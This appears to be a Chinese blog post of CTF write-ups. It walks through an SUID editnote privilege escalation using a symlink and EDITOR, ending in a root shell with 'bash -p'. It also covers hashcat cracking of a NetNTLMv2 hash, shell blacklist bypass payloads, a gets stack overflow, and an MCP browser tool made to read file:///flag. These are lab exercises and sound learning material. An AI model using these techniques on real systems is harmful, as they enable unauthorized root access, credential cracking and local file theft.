Enter passphrase:
  embedded file "flag_C.zip":
    size: 849.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes
/mnt/d/OneDrive/Desktop/broken_flag ❯ steghide extract -sf image.jpg -p "?CTF"                                 17:10:51
wrote extracted data to "flag_C.zip".

考察分卷压缩,把名字统一改成flag,然后保证三个在同一个文件夹下,对flag.zip解压缩得到flag.doc.

《关于我穿越到CTF的异世界这档事:破》

ctf@cl-161-1e42713acb781b6a:~$ cat notes.txt
Think About SUID.

ctf@cl-161-1e42713acb781b6a:~$ find / -perm -4000 -type f 2>/dev/null
/usr/local/bin/editnote
/usr/bin/chsh
/usr/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign
ctf@cl-161-1e42713acb781b6a:~$ 


不太会了.


ctf@cl-161-1e42713acb781b6a:~$ ln -sf /root/flag.txt /home/ctf/notes.txt
ctf@cl-161-1e42713acb781b6a:~$ export EDITOR=/bin/cat
ctf@cl-161-1e42713acb781b6a:~$ /usr/local/bin/editnote
flag{08ce7538-ee5c-480e-9e3a-2122f1e98dfe}

尝试了软链接打通了.

这里我有个问题:

为什么在有了root权限之后我这样:

ctf@cl-161-1e42713acb781b6a:~$ echo "sh">/tmp/shell
ctf@cl-161-1e42713acb781b6a:~$ export EDITOR='/tmp/shell'
ctf@cl-161-1e42713acb781b6a:~$ /usr/local/bin/editnote
$ whoami
ctf

却不行?

当任何用户执行该程序的时候,当前进程以文件所有者(root)身份运行,所以所以editnote进程有root权限.

而这里的时候,shell脚本/tmp/shell是以root权限打开,但是里面的sh命令不是.所以当sh执行之后获取的shell是没有权限的.

这里我的理解不完全对,后来问了一下Gemini,我觉得他说的很好:

你对SUID的理解是正确的:editnote这个进程确实是以root的EUID (Effective UID, 有效用户ID) 运行的。

但你对 "为什么shell不行" 的理解不完全正确

错误的点:

"shell脚本/tmp/shell是以root权限打开,但是里面的sh命令不是."

正确的解释是:

  1. editnote 进程 (EUID=root) 会以root权限去执行你的 /tmp/shell 脚本。
  2. 这个脚本的内容是 sh。所以,editnote 进程会启动一个 sh 子进程。这个新的 sh 进程继承了父进程的root EUID
  3. 关键点来了:bashsh (尤其是现代Linux发行版中的dashbash) 这样的shell程序,出于安全设计,内置了一个保护机制
  4. 当shell启动时,它会检查自己的 EUID (有效ID)RUID (真实ID)
  5. 在你的例子中,EUID=root (继承自editnote),但 RUID=ctf (启动editnote的真实用户)。
  6. 当shell检测到 EUID != RUID 时,它会认为自己正处于一个不安全的SUID环境中。为了防止这种方式的权限提升,它会主动放弃它的EUID权限,将EUID设置回与RUID相同的值。

所以,你得到的shell,其EUID和RUID都是 ctf。你执行 whoami,看到的自然就是 ctf

为什么 EDITOR=/bin/cat 能成功?

cat 是一个非常简单的程序。它没有像shell那样的安全机制去检查EUID/RUID并主动降权。它被editnote以EUID=root启动后,就保持着EUID=root的权限去执行任务(读取文件)。

由于 /home/ctf/notes.txt 软链接到了 /root/flag.txt,EUID=root的cat进程当然有权限读取它,所以你成功看到了flag。


补充:在这种情况下如何才能获得Root Shell?

你需要告诉shell:“我就是要你保持住SUID权限,不要丢弃它”。

对于 bash 和一些其他shell,可以使用 -p 参数。

man bash 中关于 -p 参数的说明:

If the shell is started with the effective user ID (group ID) not equal to the real user ID (group ID), and the -p option is not supplied, ... the effective user ID is set to the real user ID.

所以,你的利用方式应该修改为:

  1. 创建shell脚本

    Bash

    # 使用 /bin/bash -p 更为稳妥
    echo "/bin/bash -p" > /tmp/shell
    
  2. 给予执行权限 (你之前的尝试也漏了这步,很重要):

    Bash

    chmod +x /tmp/shell
    
  3. 设置EDITOR并执行

    Bash

    export EDITOR='/tmp/shell'
    /usr/local/bin/editnote
    
  4. 验证权限

    Bash

    # whoami
    root
    

这样,bash在启动时因为有了-p参数,就不会主动丢弃EUID=root的权限,你就能得到一个root shell了。

文化木的侦探委托(三)

winrar直接打开会自动修复.

布豪有黑客(三)

《关于我穿越到CTF的异世界这档事:Q》

打开是个exe的横板游戏,体验了一下,原谅我手残...

走了一段发现地图的背景板上有flag段,猜测是不是可以修改人物坐标实现看到所有flag段.

tmpA13B

想到前段时间moectf的2048那道题目有师傅在题解中用过CE来修改数值,会不会这道题也可以......

说干就干,大概学习了一下之后:

tmp4E56

tmpCA5D

tmp9AAF

tmp8986

tmp6EB9

最终拼接然后base64解码:

ZmxhZ3tZMHVfQHJlX1JlQDExeV9BX0cwMGRfR0FNRVIhISF9
解密:
flag{Y0u_@re_Re@11y_A_G00d_GAMER!!!}

布豪有黑客(三)

efb5327d05baa39662ed0da27a745db1

提取到的信息有:

NTProofstr: e20402e8a924e2de7c1e3fd3f949bc38
Domain name: C3NGH--DESKTOP
User name: rockyou
Host name: C3NGH--DESKTOP
Attribute:NetBIOS computer name:FLAG-SERVER
NTLM Server Challenge:91e15fed933eff0c
NTLMv2 Client Challenge: 1473b30c1fc1c20f

ntlmv2_response = NTProofStr + blob:
e20402e8a924e2de7c1e3fd3f949bc3801010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000

hash的拼接格式为:username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response

拼接后:

rockyou::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a924e2de7c1e3fd3f949bc38:01010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000

保存为txt文件之后,用hashcat爆破:

>hashcat -m 5600 ntlmv2.hash rockyou.txt 
ROCKYOU::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a924e2de7c1e3fd3f949bc38:01010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000:poohkitty13

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: ROCKYOU::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a9...000000
Time.Started.....: Tue Oct 21 15:37:13 2025 (11 secs)
Time.Estimated...: Tue Oct 21 15:37:24 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   475.1 kH/s (0.80ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4579328/14344384 (31.92%)
Rejected.........: 0/4579328 (0.00%)
Restore.Point....: 4578816/14344384 (31.92%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: poohraah -> poohgun0522
Hardware.Mon.#1..: Util: 52%

Started: Tue Oct 21 15:37:12 2025
Stopped: Tue Oct 21 15:37:26 2025
/mnt/d/OneDrive/Desktop/SecretVault ❯     

爆破出密钥为:poohkitty13

在AI的提示下得知,可用smbclient连接SMB服务.

爆破文件共享密码(smb协议)-CSDN博客

以为要来连接ip呢,于是扫了一下,但是端口都没open.

yatq@ya7q:~$ sudo nmap -Pn -p 139,445 -sS -sV 192.168.136.138
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-21 08:13 UTC
Nmap scan report for 192.168.136.138
Host is up.

PORT    STATE    SERVICE      VERSION
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds

猜测可能是要TLS一样用这个密钥来直接解密其中加密的SMB流量,查询到直接Edit → Preferences → Protocols → NTLMSSP填入密钥然后应用.最后导出SMB对象flag.txt.

俱乐部之旅(3) - 与时间对话

零宽字节隐写(非默认)

用厨子的Escape Unicode Characters转为unicode,就可以一个一个勾选相关的了.

image-20251209211554741

image-20251209211535549

image-20251209211923393

P@ssW0rd 1s th3 md5 v4lue 0f th3 wOrd "t1me" 
eeb7ac660269f45046a0e8abaa51dfec

Pwn

ncncnc

Welcome to ?ctf
ncncnc!!!
There are three stages ahead, keep going according to the hints
This is the first stage
Use the 'cat hint' command to open the hint file, which contains the key to the second stage
You can enter a command, or the key to proceed to the next stage
cat hint
Enter WoW to proceed to the second stage
You can enter a command, or the key to proceed to the next stage
WoW
Welcome to the second stage. This time I've added cat and hint to the blacklist. Do you have another way to open the hint to get the key to the third stage?
You can enter a command, or the key to proceed to the next stage
/bin/c?? hi??
Enter TuT to proceed to the third stage
You can enter a command, or the key to proceed to the next stage
TuT
Final stage. I've added spaces to the blacklist. Can you still do it?
You can enter a command, or the key to proceed to the next stage
/bin/c??$IFS$9h*     
Impressive, now enter HaCkEd to get the final hint
You can enter a command, or the key to proceed to the next stage
HaCkEd
flag{2c9ee4a6-673a-4dcf-b30d-137415ad49db}

算是我第一个搓出来的pwn脚本了,虽然写的很垃圾,但还是值得纪念一下。

临时抱佛脚学了一下pwntools部分用法:

from pwn import *:导入。

context.log_level = 'debug':调试输出更详细(也可 'info','error')。

p = remote(host, port, timeout=5):连接远程。timeout 为读取超时(秒)。

p = process('./vuln'):本地运行进程(便于调试)。

p.sendline(b'...'):发送并加 \n。

p.send(b'...'):原样发送(无换行)。

p.recvuntil(b'marker'):接收直到 marker(包含 marker),常用于同步。

p.recvline():接收一行(遇 \n)。

p.recv(timeout=1):读取任意可用数据,带超时。

p.recvn(n):读取精确 n 字节。

p.interactive():把 socket 切换为交互式终端(拿 shell 时用)。

p.shutdown('send'):对 socket 做 send-side shutdown,等同发送 EOF。

p.close():关闭连接。

p.poll() / p.kill():进程相关。

cyclic, cyclic_find:生成/定位模式(pwn 调试时用)。

ELF('vuln')、ROP(elf)、u64():针对二进制分析的工具。

from pwn import *
import re

p = remote("challenge.ilovectf.cn", 30266, timeout=5)


line = p.recv(timeout=1)
print(line)
p.sendline(b'4100625')
print(b'4100625')


# 接受题目并打印
line = p.recv(timeout=1)
line = p.recv(timeout=1)
print(line)

#提取问题并回答
hex_re = re.compile(rb'0x([0-9A-Fa-f]+)\s*\+\s*0x([0-9A-Fa-f]+)\s*=\s*\?')


while b'Congratulations' not in line:
    m = hex_re.search(line)
    a = int(m.group(1), 16)
    b = int(m.group(2), 16)
    s = a + b
    s = hex(s)
    p.sendline(s.encode())
    print(s)
    line = p.recv(timeout=1)
    print(line)

line = p.recv(timeout=10)
print(line)

勇者救公主

这道题做得很好,使我轻松上手dbg:


rbp 栈底 高地址
rsp 栈顶 低地址
rip 当前位置

b break 设置传送点(断点)
c  continue 继续执行,直到停在断点处

x/nx $rsp (examine) 查看栈顶的n个值

info registers 查看当前自身位置 总体位置

disas 0x406000 查看这里的指令 disassemble

rbx 我的勇气值

set $rbx=0x42 自定义值


bt  追溯你的来路。查看调用栈,告诉我栈帧的数量。 backtrace

p system print symbols 系统魔法的地址

关于吐槽:我真是要被这题摧残似了,每次到最后都会自己退了,或者又是误触到ctrl+c退出,我要去世了(已神志不清。

👑 公主:"谢谢你,勇敢的调试骑士!"
👑 公主:"你不仅救了我,还掌握了强大的GDB魔法!"
👑 公主:"这是给你的奖励..."


🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆
       恭 喜 通 关 !
🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆

🚩 FLAG: flag{Gdb_m@STeR_drA9oN_5LAYer_zOZS}

危险的 gets

gets经典栈溢出。

刚开始我们拿到了一个ELF程序,该程序和windows中的exe类似,是Linux系统的特定可执行程序。用IDApro反编译查看一下,,发现注程序如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stderr, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("you know ret addr");
  puts("do you know rop?");
  puts("do you know gets?");
  vulnerable_function();
  return 0;
}

地址:0x4011D0:

int vulnerable_function()
{
  char v1[64]; // [rsp+0h] [rbp-40h] BYREF

  printf("plz input your name: ");
  gets();
  return printf("hello, %s!\n", v1);
}

后门函数,地址:0x4011B6:

int backdoor()
{
  return system("/bin/sh");
}

由于gets函数直到遇到\n才会停下来,而当前缓冲区的容量为64个字节,

-0000000000000040 var_40 db 64 dup(?)
+0000000000000000  s db 8 dup(?)
+0000000000000008  r db 8 dup(?)

ai

browser-mcp

import asyncio
import json
import base64
from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client
from mcp.client.sse import sse_client
from contextlib import AsyncExitStack

async def main():
    """Main function to create an MCP client with SSE mode."""
    url = "http://challenge.ilovectf.cn:30609/sse"

    async with AsyncExitStack() as stack:
        # Create SSE client session
        sse_read, sse_write = await stack.enter_async_context(
            sse_client(url)
        )

        # Create MCP client session
        session = await stack.enter_async_context(
            ClientSession(sse_read, sse_write)
        )

        # Initialize the session
        await session.initialize()

        # List available tools
        tools = await session.list_tools()
        print("Available tools:")
        for tool in tools.tools:
            print(f" - {tool.name}: {tool.description}")

        # 1. 启动浏览器服务
        print("\n启动浏览器...")
        start_result = await session.call_tool("browser_start", arguments={})
        print(f"浏览器启动结果: {start_result}")

        # 2. 创建新页面
        print("\n创建浏览器页面...")
        page_result = await session.call_tool("browser_create_page", arguments={
            "page_id": "flag_page"
        })
        print(f"页面创建结果: {page_result}")

        # 3. 导航到 file:///flag
        print("\n导航到 file:///flag...")
        nav_result = await session.call_tool("browser_navigate", arguments={
            "page_id": "flag_page",
            "url": "file:///flag"
        })
        print(f"导航结果: {nav_result}")

        # 4. 获取页面文本内容
        print("\n获取页面文本内容...")
        try:
            # 尝试获取 body 元素的文本
            text_result = await session.call_tool("browser_get_text", arguments={
                "page_id": "flag_page",
                "selector": "body"
            })
            print(f"页面文本内容: {text_result}")
            
            # 保存文本到文件
            if text_result.content:
                with open("flag_text.txt", "w", encoding="utf-8") as f:
                    for content in text_result.content:
                        if hasattr(content, 'text'):
                            f.write(content.text)
                            print(f"\nFlag内容:\n{content.text}")
                print("\n文本已保存为 flag_text.txt")
        except Exception as e:
            print(f"获取页面文本失败: {e}")
            
        # 5. 也尝试获取整个 HTML
        print("\n尝试获取整个页面HTML...")
        try:
            html_result = await session.call_tool("browser_execute_script", arguments={
                "page_id": "flag_page",
                "script": "document.documentElement.outerHTML"
            })
            print(f"HTML结果: {html_result}")
            if html_result.content:
                with open("flag_html.html", "w", encoding="utf-8") as f:
                    for content in html_result.content:
                        if hasattr(content, 'text'):
                            f.write(content.text)
                print("HTML已保存为 flag_html.html")
        except Exception as e:
            print(f"获取HTML失败: {e}")


if __name__ == "__main__":
    asyncio.run(main())

本地搭建mcp-client,然后连接题目给的服务,通过访问file:///flag之后获取页面文字.

等下交个flag先

不太理解,丢给GPT被一把梭了(
运行题目给的py脚本发现模型文件31有问题,打开发现有一段base64,解密之后发现还有一段,再解密之后得到加密文本和密钥,解密即可.

posted @ 2025-11-19 00:13  幽暗天琴沙雕  阅读(46)  评论(0)    收藏  举报